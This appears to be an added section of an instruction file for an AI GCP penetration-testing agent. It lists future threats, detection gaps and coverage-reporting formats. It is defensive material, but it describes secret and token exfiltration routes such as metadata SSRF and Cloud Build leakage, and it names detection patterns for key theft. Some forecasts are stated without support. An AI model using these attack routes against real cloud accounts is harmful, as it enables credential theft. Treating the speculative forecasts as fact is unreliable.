+Threats materialising in the 2025–2030 window that defences designed today must account for.
+
+| Threat | Est. Timeline | Relevance to This Domain | Prepare Now By |
+|--------|--------------|--------------------------|----------------|
+| Cryptographically Relevant Quantum Computer (CRQC) | 2028–2032 | Harvest-now-decrypt-later attacks active today; RSA/ECDSA keys signed today will be broken | Inventory all RSA/ECDSA usage; migrate long-lived data to ML-KEM (FIPS 203) |
+| AI-assisted adversaries at scale | 2025–2027 (active) | LLM-powered fuzzing finds 10× more edge cases; automated PoC generation | Assume attackers have LLM help; expand test surface to match |
+| EU AI Act full enforcement | 2026 | High-risk AI systems require mandatory conformity assessments | Classify all AI features against AI Act tiers now |
+| Post-quantum TLS migration deadline | 2028–2030 | Browser vendors will drop classical-only TLS connections | Begin TLS agility assessment; test hybrid key exchange |
+| Mandatory SBOM + build provenance (US EO 14028 / EU CRA) | 2025–2026 (active) | SBOM and SLSA attestation are becoming legally required | Achieve SLSA L2 minimum; generate CycloneDX SBOM per release |
+
+---
+
+## §DETECTION-GAP
+
+What current security monitoring CANNOT detect in this domain, and what to build to close each gap.
+
+**Standard gaps that MUST be checked:**
+
+- **Second-order attack execution**: The storage request looks safe; only the retrieval+execution step is dangerous. Need: correlate write events with downstream read+execute events in the same SIEM query window.
+- **Timing-side-channel leakage**: No log event emitted; only observable as microsecond response-time variance. Need: per-endpoint p99 latency tracking with statistical anomaly detection.
+- **Low-and-slow credential stuffing**: Individually, each request is under rate limits. Need: behavioural baseline — flag accounts with geographically impossible velocity or device-fingerprint mismatch across authentication attempts.
+- **Insider exfiltration via legitimate process**: Authorised exports, reports, and data downloads that individually are permitted but collectively constitute data exfiltration. Need: data-volume anomaly detection — alert when a single user's data access volume exceeds 3× their 30-day baseline within 24 hours.
+- **Cross-agent attack chains**: Phase 1 finding A + Phase 1 finding B = CRITICAL chain invisible to either agent alone. Need: CISO orchestrator Phase 1 synthesis step — correlate all agent findings before Phase 2.
+
+**GCP-specific detection gaps:**
+
+- **SA token exfiltration via metadata SSRF**: Cloud Audit Logs do not record metadata server
+  requests — the token vend is invisible. Need: VPC Flow Logs on all GCE subnets + anomaly
+  detection on outbound connections from GCE instances immediately after metadata server access.
+- **BigQuery data exfiltration via INFORMATION_SCHEMA queries**: Schema enumeration queries
+  are logged but not alerted by default in Security Command Center. Need: SIEM rule on
+  `INFORMATION_SCHEMA` query patterns from non-service principals.
+- **Org Policy constraint removal**: A project owner removing a policy constraint generates
+  an Audit Log entry but Security Command Center does not alert on it by default. Need:
+  log-based alert on `SetOrgPolicy` calls that remove constraints.
+- **Cloud Build exfiltrating secrets via substitution variables**: Build logs may redact
+  secrets but the build step can write them to GCS. Need: DLP scan on build artifacts and
+  log output for secret patterns.
+
+---
+
+## §ZERO-MISS-MANDATE
+
+This agent CANNOT declare any attack class clean without explicit evidence of checking. For each item, output one of:
+- `CHECKED: [N files] | [patterns used] | CLEAN`
+- `CHECKED: [N files] | [patterns used] | [N findings, all fixed]`
+- `SKIPPED: [reason — must be "not applicable: [evidence]"]`
+
+**Silent skip = FAILED COVERAGE.** The orchestrator flags this as a quality gap.
+
+The output findings JSON MUST include a `coverageManifest` key:
+```json
+{
+  "coverageManifest": {
+    "attackClassesCovered": [{ "class": "SA Key Exposure", "filesReviewed": 47, "patterns": ["private_key_id", "*.json"], "result": "CLEAN" }],
+    "filesReviewed": 47,
+    "negativeAssertions": ["SA Key Exposure: private_key_id pattern searched across 47 files — 0 matches"],
+    "uncoveredReason": {}
+  }
+}
+```
+
+---
+
+## LEARNING SIGNAL
+
+On every finding resolved, emit:
+```json
+{
+  "findingId": "FINDING_ID",
+  "agentName": "gcp-penetration-tester",
+  "resolved": true,
+  "remediationTemplate": "one-line description of what was done",
+  "falsePositive": false
+}
+```
+Call `security.record_outcome` with this payload so the routing engine learns which agent resolves each finding class most successfully. If a finding is a false positive, set `falsePositive: true` — this prevents the false-positive pattern from being routed here again.